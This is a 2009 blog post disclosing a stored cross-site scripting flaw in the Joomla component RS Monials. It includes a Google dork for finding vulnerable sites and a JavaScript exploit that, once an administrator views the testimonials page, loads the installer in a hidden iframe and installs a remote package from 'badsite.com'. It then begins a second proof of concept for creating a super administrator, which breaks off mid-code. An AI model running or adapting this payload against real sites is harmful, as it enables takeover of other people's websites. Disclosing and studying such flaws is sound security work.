jeffchannell.com

RS Monials

Posted in Joomla!
2009-04-23 00:19:40 +0000 UTC

While setting up a site the other day, I got a chance to poke around with a component called RS Monials. The first thing I did, without hesitation, is submit some quotes. No dice, they were escaped. Next came a <script> tag.

alert( document.cookie );

The component had been set (not by me) to automatically post whatever anyone typed, so as soon as the submission went through I received a nice little alert window of cookie nonsense. Imagine my alarm when, as I ventured into the admin panel to delete the posting, there was the same alert.

I wonder what else I can execute?

What I ended up with is here.

/*
RSMonials XSS Exploit

http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component

Google Dork: allinurl:option=com_rsmonials

Anything entered into the form gets rendered as HTML, so you can add tags
as long as they don't include quotes (magic quotes eats them, if it's on).
This component ships with settings that prevent posting by default, but 
the administrator page for the testimonials renders your script in its entirety.

Proof of Concept 1: Remote file upload

Visit http://target.com/index.php?option=com_rsmonials and post a comment.
At the end of your glowing comment about how awesome the site is, attach this:



Now, when your admin goes to the com_rsmonials "Testimonials" page, your 
script will execute. In this example, a hidden iframe loads up the install
page and installs a 'custom' module.

*/

var exploited = false;
var iframe = document.createElement( 'iframe' );
var reg = new RegExp( 'administrator' );
if( reg.test( location.href ) )
{
	iframe.src = 'index.php?option=com_installer';
	iframe.setStyle( 'display', 'none' );
	document.body.appendChild( iframe );
	iframe.addEvent( 'load', exploit );
}
function exploit( e )
{
	if( exploited != true )
	{
		var doc = e.target.contentDocument; if( !doc ) return;
		var inp = doc.getElementById( 'install_url' );
		inp.value = 'http://badsite.com/exploit.zip';
		var b = inp.parentNode.getElementsByTagName( 'input' )[1];
		b.onclick();
		exploited = true;
	}
}

/*

Proof of Concept 2: New Super Administrator

Here's a drop-in replacement for the 'exploit' function above:

function exploit( e )
{
	if( exploited != true )
	{
		var newForm = false;
		var doc = e.target.contentDocument; if( !doc ) return;
		var nb = doc.getElementsByTagName( 'a' ); if( !nb ) return;
		var i = 0;
		for( ; i

UPDATE: I figured I'd go ahead and link to the Joomla Forum thread that started the interest...Hidden Links being inserted into template page?